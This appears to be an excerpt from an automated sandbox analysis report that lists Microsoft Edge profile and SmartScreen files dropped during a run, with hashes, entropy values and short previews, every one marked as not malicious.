Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	29
Entropy (8bit):	4.030394788231021
Encrypted:	false
SSDEEP:	3:0xXeZUSXkcVn:0Re5kcV
MD5:	52E2839549E67CE774547C9F07740500
SHA1:	B172E16D7756483DF0CA0A8D4F7640DD5D557201
SHA-256:	F81B7B9CE24F5A2B94182E817037B5F1089DC764BC7E55A9B0A6227A7E121F32
SHA-512:	D80E7351E4D83463255C002D3FDCE7E5274177C24C4C728D7B7932D0BE3EBCFEB68E1E65697ED5E162E1B423BB8CDFA0864981C4B466D6AD8B5E724D84B4203B
Malicious:	false
Preview:	topTraffic_638004170464094982

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.008105465931867
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXXwcy:YWLSGTt1o9LuLgfGBPAzkVj/T8lJy
MD5:	BEE31E59506D2B2DC897430C8367D51D
SHA1:	19A96609D51152D48854208423F51B0F284D8F64
SHA-256:	BDE137D296EA82670BDC6FF7CEA8704F3AEF858240639168AAB971C1BBFD9844
SHA-512:	C10F96B0124A6F5E60A831AA7F773EFB9CD3D18A04C527714FE4CC0EDD166BAD79E5908804C497F0CA89B848AA6A9C433AD8DBA37FC441C93571345EB3495689
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732633721339829}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\d04d8897-4eb3-4c67-b1ea-0d21be6146e8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44633
Entropy (8bit):	6.095783712116856
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kuxqLmZkNXKdg7ylY7PNKwWE7RTupzKscDX//NPC1os:z/Ps+wsI7ynuY1XKoRTuiVIos
MD5:	621E6E9DE3D009B9BECD38DB7890A517
SHA1:	51A7709A7341FA830E9AB102A3C1B50B3FB6466A
SHA-256:	71A65B812815796007D89919F5AB60C5311D2B07CE2F6336138ECCE1E2926E0B
SHA-512:	0385E885E19053C4560C759B47F6725B0FBAB67C7530304848454627A71D74C39E6FFDC928149D8A18AB9FC6452F837FD106D352F6A95067FCA23FECE5D2AEE4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\d8f67f46-3047-44f7-8334-b8387592fc7e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46027
Entropy (8bit):	6.088036496707552
Encrypted:	false
SSDEEP:	768:bMkbJrT8IeQc5dXectXLmZkNXUK2XaPLFXDo3rVIQmxgxC1ocwWE7RTupzKscDX/:bMk1rT8H1X9J14IQ9IocoRTui/
MD5:	3753BA349FE00B65CC58E82960505BCF
SHA1:	5BEC871CD1F23F1D5C927282129E3472BF8EBD8A
SHA-256:	CEF4862D7C5A8D6ECDB7CD4A842B1220972C2F785FAE8B7A38F30D815F722AC5
SHA-512:	5C0C95E100A646C082FBA1F83815121134A863FB1BC2E73DD4C78B6AD1826E1227BFF8A5B5EFEB4F8D017D0BC0F1AE8A9CBF8C654F673FA96C0CEFA4B94FBAC5
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"657c95aa-6cad-407f-bd80-3b4d2e7fbc37"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\dc664b70-bedc-4d0e-a23f-9ac07077751c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46151
Entropy (8bit):	6.087692322179694
Encrypted:	false
SSDEEP:	768:bMkbJrT8IeQc5JXeckXLmZkNXmK2XaPLFXDo3rVIQmxgxC1ocwWE7RTupzKscDX/:bMk1rT8HBX921iIQ9IocoRTui/
MD5:	CFB27CC0226CA3B6AA356179D31EF3DC
SHA1:	14355C72D8E6EA846FED28D70AE810F8BACFEA23
SHA-256:	35C467F38188D7361F25BE201AD57BD0C4F6C435E4AFC515F31FD12F27F46549
SHA-512:	A0C0DAF5162D7978958C14D657BC07CC2DA7D61342A969655AD604000F1F974B7996993847A8B15B6CFE2E461CDFFBB18667140293E447231A841EBC7A76AF89
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"657c95aa-6cad-407f-bd80-3b4d2e7fbc37"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ec1e68b0-a6de-4d72-83dd-b8c31d58dede.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44633
Entropy (8bit):	6.095783712116856
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kuxqLmZkNXKdg7ylY7PNKwWE7RTupzKscDX//NPC1os:z/Ps+wsI7ynuY1XKoRTuiVIos
MD5:	621E6E9DE3D009B9BECD38DB7890A517
SHA1:	51A7709A7341FA830E9AB102A3C1B50B3FB6466A
SHA-256:	71A65B812815796007D89919F5AB60C5311D2B07CE2F6336138ECCE1E2926E0B
SHA-512:	0385E885E19053C4560C759B47F6725B0FBAB67C7530304848454627A71D74C39E6FFDC928149D8A18AB9FC6452F837FD106D352F6A95067FCA23FECE5D2AEE4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ee26a2cb-dcd8-4f9e-939a-684ef4a22859.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.09052641802424
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4klCLmZtHtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7yn9tGhOxqQoRTuiVIos
MD5:	BDAA31EC1ED8852BF007826DF0A57390
SHA1:	D49406B9A4F9E8226B7207488D51C5A67C9E70D7
SHA-256:	9789EA82A6E248D784164D92550E3C597FE9E4503BC1799B84EBF9C686490B24
SHA-512:	CAD17D203F1FCE7B875489758BD552F12092D3771EACB86AE403E579EDD364D0EEF0063EFE2DFF53C73848C1A9CC070004B647CA04E2A5B13B612257A0ABB0C9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

